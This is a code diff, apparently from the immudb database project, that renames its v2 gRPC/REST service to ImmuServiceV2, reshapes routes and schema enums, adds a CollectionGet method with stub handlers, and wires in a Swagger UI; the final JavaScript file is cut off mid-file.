- // Represents a int64 value - int64 int_value = 4; - } +enum PossibleIndexType { + DOUBLE = 0; + INTEGER = 1; + STRING = 2; } message CollectionCreateRequest { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map primaryKeys = 2; + map indexKeys = 3; } message CollectionInformation { string name = 1; - map primaryKeys = 2; - map indexKeys = 3; + map primaryKeys = 2; + map indexKeys = 3; +} + +message CollectionGetRequest { + string name = 1; } message CollectionListRequest { @@ -99,45 +114,77 @@ message CollectionDeleteRequest { string name = 1; } +message Proof { + string name = 1; +} + -service ImmuService { - rpc Login(LoginRequest) returns (LoginResponse) { +service ImmuServiceV2 { + rpc LoginV2(LoginRequest) returns (LoginResponseV2) { option (google.api.http) = { - post: "/api/v2/system/login" + post: "/system/login" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "authorization"; + }; } rpc DocumentInsert(DocumentInsertRequest) returns (schema.VerifiableTx) { option (google.api.http) = { - post: "/api/v2/documents/documentInsert" + put: "/documents/insert" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; } rpc DocumentSearch(DocumentSearchRequest) returns (DocumentSearchResponse) { option (google.api.http) = { - post: "/api/v2/documents/documentSearch" + post: "/documents/search" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "documents"; + }; } rpc CollectionCreate(CollectionCreateRequest) returns (CollectionInformation) { option (google.api.http) = { - post: "/api/v2/collections/collectionCreate" + put: "/collections/create" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; + }; } + + rpc CollectionGet(CollectionGetRequest) returns (CollectionInformation) { + option (google.api.http) = { + get: "/collections/get" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; + }; + } + + rpc CollectionList(CollectionListRequest) returns (CollectionListResponse) { option (google.api.http) = { - post: "/api/v2/collections/collectionList" + post: "/collections/list" body: "*" }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; + }; } rpc CollectionDelete(CollectionDeleteRequest) returns (google.protobuf.Empty) { option (google.api.http) = { - post: "/api/v2/collections/collectionDelete" - body: "*" + delete: "/collections/delete" + }; + option (grpc.gateway.protoc_gen_swagger.options.openapiv2_operation) = { + tags: "collections"; }; } } \ No newline at end of file diff --git a/pkg/api/schemav2/schemav2.swagger.json b/pkg/api/schemav2/schemav2.swagger.json index d040f6bfbe..0aea3d4eaa 100644 --- a/pkg/api/schemav2/schemav2.swagger.json +++ b/pkg/api/schemav2/schemav2.swagger.json @@ -4,6 +4,7 @@ "title": "immudb REST API v2", "version": "version not set" }, + "basePath": "/api/v2", "consumes": [ "application/json" ], @@ -11,9 +12,9 @@ "application/json" ], "paths": { - "/api/v2/collections/collectionCreate": { - "post": { - "operationId": "ImmuService_CollectionCreate", + "/collections/create": { + "put": { + "operationId": "ImmuServiceV2_CollectionCreate", "responses": { "200": { "description": "A successful response.", @@ -39,13 +40,13 @@ } ], "tags": [ - "ImmuService" + "collections" ] } }, - "/api/v2/collections/collectionDelete": { - "post": { - "operationId": "ImmuService_CollectionDelete", + "/collections/delete": { + "delete": { + "operationId": "ImmuServiceV2_CollectionDelete", "responses": { "200": { "description": "A successful response.", @@ -62,22 +63,50 @@ }, "parameters": [ { - "name": "body", - "in": "body", - "required": true, + "name": "name", + "in": "query", + "required": false, + "type": "string" + } + ], + "tags": [ + "collections" + ] + } + }, + "/collections/get": { + "get": { + "operationId": "ImmuServiceV2_CollectionGet", + "responses": { + "200": { + "description": "A successful response.", + "schema": { + "$ref": "#/definitions/schemav2CollectionInformation" + } + }, + "default": { + "description": "An unexpected error response.", "schema": { - "$ref": "#/definitions/schemav2CollectionDeleteRequest" + "$ref": "#/definitions/runtimeError" } } + }, + "parameters": [ + { + "name": "name", + "in": "query", + "required": false, + "type": "string" + } ], "tags": [ - "ImmuService" + "collections" ] } }, - "/api/v2/collections/collectionList": { + "/collections/list": { "post": { - "operationId": "ImmuService_CollectionList", + "operationId": "ImmuServiceV2_CollectionList", "responses": { "200": { "description": "A successful response.", @@ -103,13 +132,13 @@ } ], "tags": [ - "ImmuService" + "collections" ] } }, - "/api/v2/documents/documentInsert": { - "post": { - "operationId": "ImmuService_DocumentInsert", + "/documents/insert": { + "put": { + "operationId": "ImmuServiceV2_DocumentInsert", "responses": { "200": { "description": "A successful response.", @@ -135,13 +164,13 @@ } ], "tags": [ - "ImmuService" + "documents" ] } }, - "/api/v2/documents/documentSearch": { + "/documents/search": { "post": { - "operationId": "ImmuService_DocumentSearch", + "operationId": "ImmuServiceV2_DocumentSearch", "responses": { "200": { "description": "A successful response.", @@ -167,18 +196,18 @@ } ], "tags": [ - "ImmuService" + "documents" ] } }, - "/api/v2/system/login": { + "/system/login": { "post": { - "operationId": "ImmuService_Login", + "operationId": "ImmuServiceV2_LoginV2", "responses": { "200": { "description": "A successful response.", "schema": { - "$ref": "#/definitions/immudbschemav2LoginResponse" + "$ref": "#/definitions/schemav2LoginResponseV2" } }, "default": { @@ -199,7 +228,7 @@ } ], "tags": [ - "ImmuService" + "authorization" ] } } @@ -216,17 +245,6 @@ }, "database": { "type": "string" - }, - "writeAccess": { - "type": "boolean" - } - } - }, - "immudbschemav2LoginResponse": { - "type": "object", - "properties": { - "token": { - "type": "string" } } }, @@ -673,25 +691,17 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } }, "indexKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } } } }, - "schemav2CollectionDeleteRequest": { - "type": "object", - "properties": { - "name": { - "type": "string" - } - } - }, "schemav2CollectionInformation": { "type": "object", "properties": { @@ -701,13 +711,13 @@ "primaryKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } }, "indexKeys": { "type": "object", "additionalProperties": { - "$ref": "#/definitions/schemav2PossibleIndexValue" + "$ref": "#/definitions/schemav2PossibleIndexType" } } } @@ -740,6 +750,20 @@ } } }, + "schemav2DocumentQuery": { + "type": "object", + "properties": { + "field": { + "type": "string" + }, + "operator": { + "$ref": "#/definitions/schemav2QueryOperator" + }, + "value": { + "type": "object" + } + } + }, "schemav2DocumentSearchRequest": { "type": "object", "properties": { @@ -747,9 +771,9 @@ "type": "string" }, "query": { - "type": "object", - "additionalProperties": { - "type": "object" + "type": "array", + "items": { + "$ref": "#/definitions/schemav2DocumentQuery" } }, "page": { @@ -785,28 +809,38 @@ } } }, - "schemav2PossibleIndexValue": { + "schemav2LoginResponseV2": { "type": "object", "properties": { - "number_value": { - "type": "number", - "format": "double", - "description": "Represents a double value." - }, - "string_value": { - "type": "string", - "description": "Represents a string value." - }, - "bool_value": { - "type": "boolean", - "description": "Represents a boolean value." + "token": { + "type": "string" }, - "int_value": { - "type": "string", - "format": "int64", - "title": "Represents a int64 value" + "expirationTimestamp": { + "type": "integer", + "format": "int32" } } + }, + "schemav2PossibleIndexType": { + "type": "string", + "enum": [ + "DOUBLE", + "INTEGER", + "STRING" + ], + "default": "DOUBLE" + }, + "schemav2QueryOperator": { + "type": "string", + "enum": [ + "EQ", + "GT", + "GTE", + "LT", + "LTE", + "LIKE" + ], + "default": "EQ" } }, "securityDefinitions": { diff --git a/pkg/api/schemav2/schemav2_grpc.pb.go b/pkg/api/schemav2/schemav2_grpc.pb.go index 67f83c61c4..3921607d6b 100644 --- a/pkg/api/schemav2/schemav2_grpc.pb.go +++ b/pkg/api/schemav2/schemav2_grpc.pb.go @@ -16,264 +16,300 @@ import ( // Requires gRPC-Go v1.32.0 or later. const _ = grpc.SupportPackageIsVersion7 -// ImmuServiceClient is the client API for ImmuService service. +// ImmuServiceV2Client is the client API for ImmuServiceV2 service. // // For semantics around ctx use and closing/ending streaming RPCs, please refer to https://pkg.go.dev/google.golang.org/grpc/?tab=doc#ClientConn.NewStream. -type ImmuServiceClient interface { - Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) +type ImmuServiceV2Client interface { + LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) + CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) } -type immuServiceClient struct { +type immuServiceV2Client struct { cc grpc.ClientConnInterface } -func NewImmuServiceClient(cc grpc.ClientConnInterface) ImmuServiceClient { - return &immuServiceClient{cc} +func NewImmuServiceV2Client(cc grpc.ClientConnInterface) ImmuServiceV2Client { + return &immuServiceV2Client{cc} } -func (c *immuServiceClient) Login(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponse, error) { - out := new(LoginResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/Login", in, out, opts...) +func (c *immuServiceV2Client) LoginV2(ctx context.Context, in *LoginRequest, opts ...grpc.CallOption) (*LoginResponseV2, error) { + out := new(LoginResponseV2) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/LoginV2", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { +func (c *immuServiceV2Client) DocumentInsert(ctx context.Context, in *DocumentInsertRequest, opts ...grpc.CallOption) (*schema.VerifiableTx, error) { out := new(schema.VerifiableTx) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentInsert", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentInsert", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { +func (c *immuServiceV2Client) DocumentSearch(ctx context.Context, in *DocumentSearchRequest, opts ...grpc.CallOption) (*DocumentSearchResponse, error) { out := new(DocumentSearchResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/DocumentSearch", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/DocumentSearch", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { +func (c *immuServiceV2Client) CollectionCreate(ctx context.Context, in *CollectionCreateRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { out := new(CollectionInformation) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionCreate", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionCreate", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { +func (c *immuServiceV2Client) CollectionGet(ctx context.Context, in *CollectionGetRequest, opts ...grpc.CallOption) (*CollectionInformation, error) { + out := new(CollectionInformation) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionGet", in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + +func (c *immuServiceV2Client) CollectionList(ctx context.Context, in *CollectionListRequest, opts ...grpc.CallOption) (*CollectionListResponse, error) { out := new(CollectionListResponse) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionList", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionList", in, out, opts...) if err != nil { return nil, err } return out, nil } -func (c *immuServiceClient) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { +func (c *immuServiceV2Client) CollectionDelete(ctx context.Context, in *CollectionDeleteRequest, opts ...grpc.CallOption) (*empty.Empty, error) { out := new(empty.Empty) - err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuService/CollectionDelete", in, out, opts...) + err := c.cc.Invoke(ctx, "/immudb.schemav2.ImmuServiceV2/CollectionDelete", in, out, opts...) if err != nil { return nil, err } return out, nil } -// ImmuServiceServer is the server API for ImmuService service. -// All implementations should embed UnimplementedImmuServiceServer +// ImmuServiceV2Server is the server API for ImmuServiceV2 service. +// All implementations should embed UnimplementedImmuServiceV2Server // for forward compatibility -type ImmuServiceServer interface { - Login(context.Context, *LoginRequest) (*LoginResponse, error) +type ImmuServiceV2Server interface { + LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) + CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) } -// UnimplementedImmuServiceServer should be embedded to have forward compatible implementations. -type UnimplementedImmuServiceServer struct { +// UnimplementedImmuServiceV2Server should be embedded to have forward compatible implementations. +type UnimplementedImmuServiceV2Server struct { } -func (UnimplementedImmuServiceServer) Login(context.Context, *LoginRequest) (*LoginResponse, error) { - return nil, status.Errorf(codes.Unimplemented, "method Login not implemented") +func (UnimplementedImmuServiceV2Server) LoginV2(context.Context, *LoginRequest) (*LoginResponseV2, error) { + return nil, status.Errorf(codes.Unimplemented, "method LoginV2 not implemented") } -func (UnimplementedImmuServiceServer) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { +func (UnimplementedImmuServiceV2Server) DocumentInsert(context.Context, *DocumentInsertRequest) (*schema.VerifiableTx, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentInsert not implemented") } -func (UnimplementedImmuServiceServer) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { +func (UnimplementedImmuServiceV2Server) DocumentSearch(context.Context, *DocumentSearchRequest) (*DocumentSearchResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method DocumentSearch not implemented") } -func (UnimplementedImmuServiceServer) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { +func (UnimplementedImmuServiceV2Server) CollectionCreate(context.Context, *CollectionCreateRequest) (*CollectionInformation, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionCreate not implemented") } -func (UnimplementedImmuServiceServer) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { +func (UnimplementedImmuServiceV2Server) CollectionGet(context.Context, *CollectionGetRequest) (*CollectionInformation, error) { + return nil, status.Errorf(codes.Unimplemented, "method CollectionGet not implemented") +} +func (UnimplementedImmuServiceV2Server) CollectionList(context.Context, *CollectionListRequest) (*CollectionListResponse, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionList not implemented") } -func (UnimplementedImmuServiceServer) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { +func (UnimplementedImmuServiceV2Server) CollectionDelete(context.Context, *CollectionDeleteRequest) (*empty.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method CollectionDelete not implemented") } -// UnsafeImmuServiceServer may be embedded to opt out of forward compatibility for this service. -// Use of this interface is not recommended, as added methods to ImmuServiceServer will +// UnsafeImmuServiceV2Server may be embedded to opt out of forward compatibility for this service. +// Use of this interface is not recommended, as added methods to ImmuServiceV2Server will // result in compilation errors. -type UnsafeImmuServiceServer interface { - mustEmbedUnimplementedImmuServiceServer() +type UnsafeImmuServiceV2Server interface { + mustEmbedUnimplementedImmuServiceV2Server() } -func RegisterImmuServiceServer(s grpc.ServiceRegistrar, srv ImmuServiceServer) { - s.RegisterService(&ImmuService_ServiceDesc, srv) +func RegisterImmuServiceV2Server(s grpc.ServiceRegistrar, srv ImmuServiceV2Server) { + s.RegisterService(&ImmuServiceV2_ServiceDesc, srv) } -func _ImmuService_Login_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_LoginV2_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(LoginRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).Login(ctx, in) + return srv.(ImmuServiceV2Server).LoginV2(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/Login", + FullMethod: "/immudb.schemav2.ImmuServiceV2/LoginV2", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).Login(ctx, req.(*LoginRequest)) + return srv.(ImmuServiceV2Server).LoginV2(ctx, req.(*LoginRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_DocumentInsert_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DocumentInsertRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).DocumentInsert(ctx, in) + return srv.(ImmuServiceV2Server).DocumentInsert(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/DocumentInsert", + FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentInsert", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DocumentInsert(ctx, req.(*DocumentInsertRequest)) + return srv.(ImmuServiceV2Server).DocumentInsert(ctx, req.(*DocumentInsertRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_DocumentSearch_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(DocumentSearchRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).DocumentSearch(ctx, in) + return srv.(ImmuServiceV2Server).DocumentSearch(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/DocumentSearch", + FullMethod: "/immudb.schemav2.ImmuServiceV2/DocumentSearch", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).DocumentSearch(ctx, req.(*DocumentSearchRequest)) + return srv.(ImmuServiceV2Server).DocumentSearch(ctx, req.(*DocumentSearchRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_CollectionCreate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CollectionCreateRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).CollectionCreate(ctx, in) + return srv.(ImmuServiceV2Server).CollectionCreate(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/CollectionCreate", + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionCreate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CollectionCreate(ctx, req.(*CollectionCreateRequest)) + return srv.(ImmuServiceV2Server).CollectionCreate(ctx, req.(*CollectionCreateRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_CollectionGet_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(CollectionGetRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(ImmuServiceV2Server).CollectionGet(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionGet", + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(ImmuServiceV2Server).CollectionGet(ctx, req.(*CollectionGetRequest)) + } + return interceptor(ctx, in, info, handler) +} + +func _ImmuServiceV2_CollectionList_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CollectionListRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).CollectionList(ctx, in) + return srv.(ImmuServiceV2Server).CollectionList(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/CollectionList", + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionList", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CollectionList(ctx, req.(*CollectionListRequest)) + return srv.(ImmuServiceV2Server).CollectionList(ctx, req.(*CollectionListRequest)) } return interceptor(ctx, in, info, handler) } -func _ImmuService_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { +func _ImmuServiceV2_CollectionDelete_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(CollectionDeleteRequest) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(ImmuServiceServer).CollectionDelete(ctx, in) + return srv.(ImmuServiceV2Server).CollectionDelete(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/immudb.schemav2.ImmuService/CollectionDelete", + FullMethod: "/immudb.schemav2.ImmuServiceV2/CollectionDelete", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(ImmuServiceServer).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) + return srv.(ImmuServiceV2Server).CollectionDelete(ctx, req.(*CollectionDeleteRequest)) } return interceptor(ctx, in, info, handler) } -// ImmuService_ServiceDesc is the grpc.ServiceDesc for ImmuService service. +// ImmuServiceV2_ServiceDesc is the grpc.ServiceDesc for ImmuServiceV2 service. // It's only intended for direct use with grpc.RegisterService, // and not to be introspected or modified (even as a copy) -var ImmuService_ServiceDesc = grpc.ServiceDesc{ - ServiceName: "immudb.schemav2.ImmuService", - HandlerType: (*ImmuServiceServer)(nil), +var ImmuServiceV2_ServiceDesc = grpc.ServiceDesc{ + ServiceName: "immudb.schemav2.ImmuServiceV2", + HandlerType: (*ImmuServiceV2Server)(nil), Methods: []grpc.MethodDesc{ { - MethodName: "Login", - Handler: _ImmuService_Login_Handler, + MethodName: "LoginV2", + Handler: _ImmuServiceV2_LoginV2_Handler, }, { MethodName: "DocumentInsert", - Handler: _ImmuService_DocumentInsert_Handler, + Handler: _ImmuServiceV2_DocumentInsert_Handler, }, { MethodName: "DocumentSearch", - Handler: _ImmuService_DocumentSearch_Handler, + Handler: _ImmuServiceV2_DocumentSearch_Handler, }, { MethodName: "CollectionCreate", - Handler: _ImmuService_CollectionCreate_Handler, + Handler: _ImmuServiceV2_CollectionCreate_Handler, + }, + { + MethodName: "CollectionGet", + Handler: _ImmuServiceV2_CollectionGet_Handler, }, { MethodName: "CollectionList", - Handler: _ImmuService_CollectionList_Handler, + Handler: _ImmuServiceV2_CollectionList_Handler, }, { MethodName: "CollectionDelete", - Handler: _ImmuService_CollectionDelete_Handler, + Handler: _ImmuServiceV2_CollectionDelete_Handler, }, }, Streams: []grpc.StreamDesc{}, diff --git a/pkg/server/objects_operations.go b/pkg/server/objects_operations.go new file mode 100644 index 0000000000..d2c3e58536 --- /dev/null +++ b/pkg/server/objects_operations.go @@ -0,0 +1,39 @@ +package server + +import ( + "context" + + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/api/schemav2" + "github.com/golang/protobuf/ptypes/empty" +) + +func (s *ImmuServer) LoginV2(ctx context.Context, loginReq *schemav2.LoginRequest) (*schemav2.LoginResponseV2, error) { + return nil, nil +} + +func (s *ImmuServer) DocumentInsert(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schema.VerifiableTx, error) { + return nil, nil +} + +func (s *ImmuServer) DocumentSearch(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionCreate(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionInformation, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionGet(ctx context.Context, req *schemav2.CollectionGetRequest) (*schemav2.CollectionInformation, error) { + return &schemav2.CollectionInformation{ + Name: "test", + }, nil +} + +func (s *ImmuServer) CollectionList(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { + return nil, nil +} + +func (s *ImmuServer) CollectionDelete(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*empty.Empty, error) { + return nil, nil +} diff --git a/pkg/server/server.go b/pkg/server/server.go index 06223360d8..1560619a66 100644 --- a/pkg/server/server.go +++ b/pkg/server/server.go @@ -50,6 +50,7 @@ import ( "github.com/codenotary/immudb/cmd/helper" "github.com/codenotary/immudb/cmd/version" "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/auth" "github.com/golang/protobuf/ptypes/empty" grpc_middleware "github.com/grpc-ecosystem/go-grpc-middleware" @@ -243,7 +244,9 @@ func (s *ImmuServer) Initialize() error { if s.Options.ReflectionServerEnabled { reflection.Register(s.GrpcServer) } + schema.RegisterImmuServiceServer(s.GrpcServer, s) + schemav2.RegisterImmuServiceV2Server(s.GrpcServer, s) grpc_prometheus.Register(s.GrpcServer) s.PgsqlSrv = pgsqlsrv.New(pgsqlsrv.Address(s.Options.Address), pgsqlsrv.Port(s.Options.PgsqlServerPort), pgsqlsrv.DatabaseList(s.dbList), pgsqlsrv.SysDb(s.sysDB), pgsqlsrv.TlsConfig(s.Options.TLSConfig), pgsqlsrv.Logger(s.Logger)) diff --git a/pkg/server/webserver.go b/pkg/server/webserver.go index 3569940a68..d982a5c4f0 100644 --- a/pkg/server/webserver.go +++ b/pkg/server/webserver.go @@ -3,27 +3,41 @@ package server import ( "context" "crypto/tls" + "net/http" + "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/pkg/api/schemav2" "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/swagger" "github.com/codenotary/immudb/webconsole" "github.com/grpc-ecosystem/grpc-gateway/runtime" - "net/http" ) -func StartWebServer(addr string, tlsConfig *tls.Config, s schema.ImmuServiceServer, l logger.Logger) (*http.Server, error) { +func StartWebServer(addr string, tlsConfig *tls.Config, s *ImmuServer, l logger.Logger) (*http.Server, error) { proxyMux := runtime.NewServeMux() err := schema.RegisterImmuServiceHandlerServer(context.Background(), proxyMux, s) if err != nil { return nil, err } + proxyMuxV2 := runtime.NewServeMux() + err = schemav2.RegisterImmuServiceV2HandlerServer(context.Background(), proxyMuxV2, s) + if err != nil { + return nil, err + } + webMux := http.NewServeMux() webMux.Handle("/api/", http.StripPrefix("/api", proxyMux)) + webMux.Handle("/api/v2/", http.StripPrefix("/api/v2", proxyMuxV2)) err = webconsole.SetupWebconsole(webMux, l, addr) if err != nil { return nil, err } + err = swagger.SetupSwaggerUI(webMux, l, addr) + if err != nil { + return nil, err + } httpServer := &http.Server{Addr: addr, Handler: webMux} httpServer.TLSConfig = tlsConfig diff --git a/swagger/swagger.go b/swagger/swagger.go new file mode 100644 index 0000000000..e16c4040a1 --- /dev/null +++ b/swagger/swagger.go @@ -0,0 +1,26 @@ +//go:build swagger +// +build swagger + +package swagger + +//go:generate go run github.com/rakyll/statik -f -src=./dist -p=swagger -dest=. -tags=swagger + +import ( + "net/http" + + _ "github.com/codenotary/immudb/swagger/swagger" + + "github.com/codenotary/immudb/pkg/logger" + "github.com/rakyll/statik/fs" +) + +var statikFS, err = fs.New() + +func SetupSwaggerUI(mux *http.ServeMux, l logger.Logger, addr string) error { + if err != nil { + return err + } + l.Infof("Swagger UI enabled: %s", addr) + mux.Handle("/api/docs/", http.StripPrefix("/api/docs", http.FileServer(statikFS))) + return nil +} diff --git a/swagger/swaggeroverrides.js b/swagger/swaggeroverrides.js new file mode 100644 index 0000000000..fcd7b48262 --- /dev/null +++ b/swagger/swaggeroverrides.js @@ -0,0 +1,21 @@ +window.onload = function() { + // + + // the following lines will be replaced by docker/configurator, when it runs in a docker-container + window.ui = SwaggerUIBundle({ + url: "/api/docs/schemav2.swagger.json", + dom_id: '#swagger-ui', + deepLinking: true, + presets: [ 